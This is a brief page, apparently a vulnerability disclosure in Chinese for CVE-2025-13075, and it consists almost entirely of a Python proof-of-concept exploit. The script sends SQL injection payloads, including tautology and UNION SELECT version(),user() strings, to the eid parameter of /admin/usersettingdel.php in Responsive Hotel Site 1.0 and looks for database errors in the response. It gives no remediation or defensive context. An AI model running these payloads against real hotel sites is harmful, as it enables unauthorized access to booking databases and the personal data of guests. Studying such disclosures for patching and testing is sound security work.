CVE-2025-13075 Responsive Hotel Site 1.0 SQL注入漏洞

import requests import sys # CVE-2025-13075 SQL Injection PoC # Target: Responsive Hotel Site 1.0 # File: /admin/usersettingdel.php # Parameter: eid def exploit_sqli(target_url, eid_payload): """ Exploit SQL injection vulnerability in usersettingdel.php """ # Construct the vulnerable URL exploit_url = f"{target_url}/admin/usersettingdel.php" # SQL injection payload params = { 'eid': eid_payload } print(f"[*] Target: {exploit_url}") print(f"[*] Payload: {eid_payload}") try: response = requests.get(exploit_url, params=params, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print("[!] SQL Error detected - vulnerability confirmed") print("[+] Response snippet:", response.text[:500]) else: print("[*] No obvious SQL errors in response") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None # Example payloads if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://localhost/hotel" # Basic SQL injection test payloads = [ "1", "1'", "1' OR '1'='1", "1' UNION SELECT NULL--", "1' UNION SELECT version(),user()--" ] for payload in payloads: print(f"\n[>] Testing payload: {payload}") exploit_sqli(target, payload)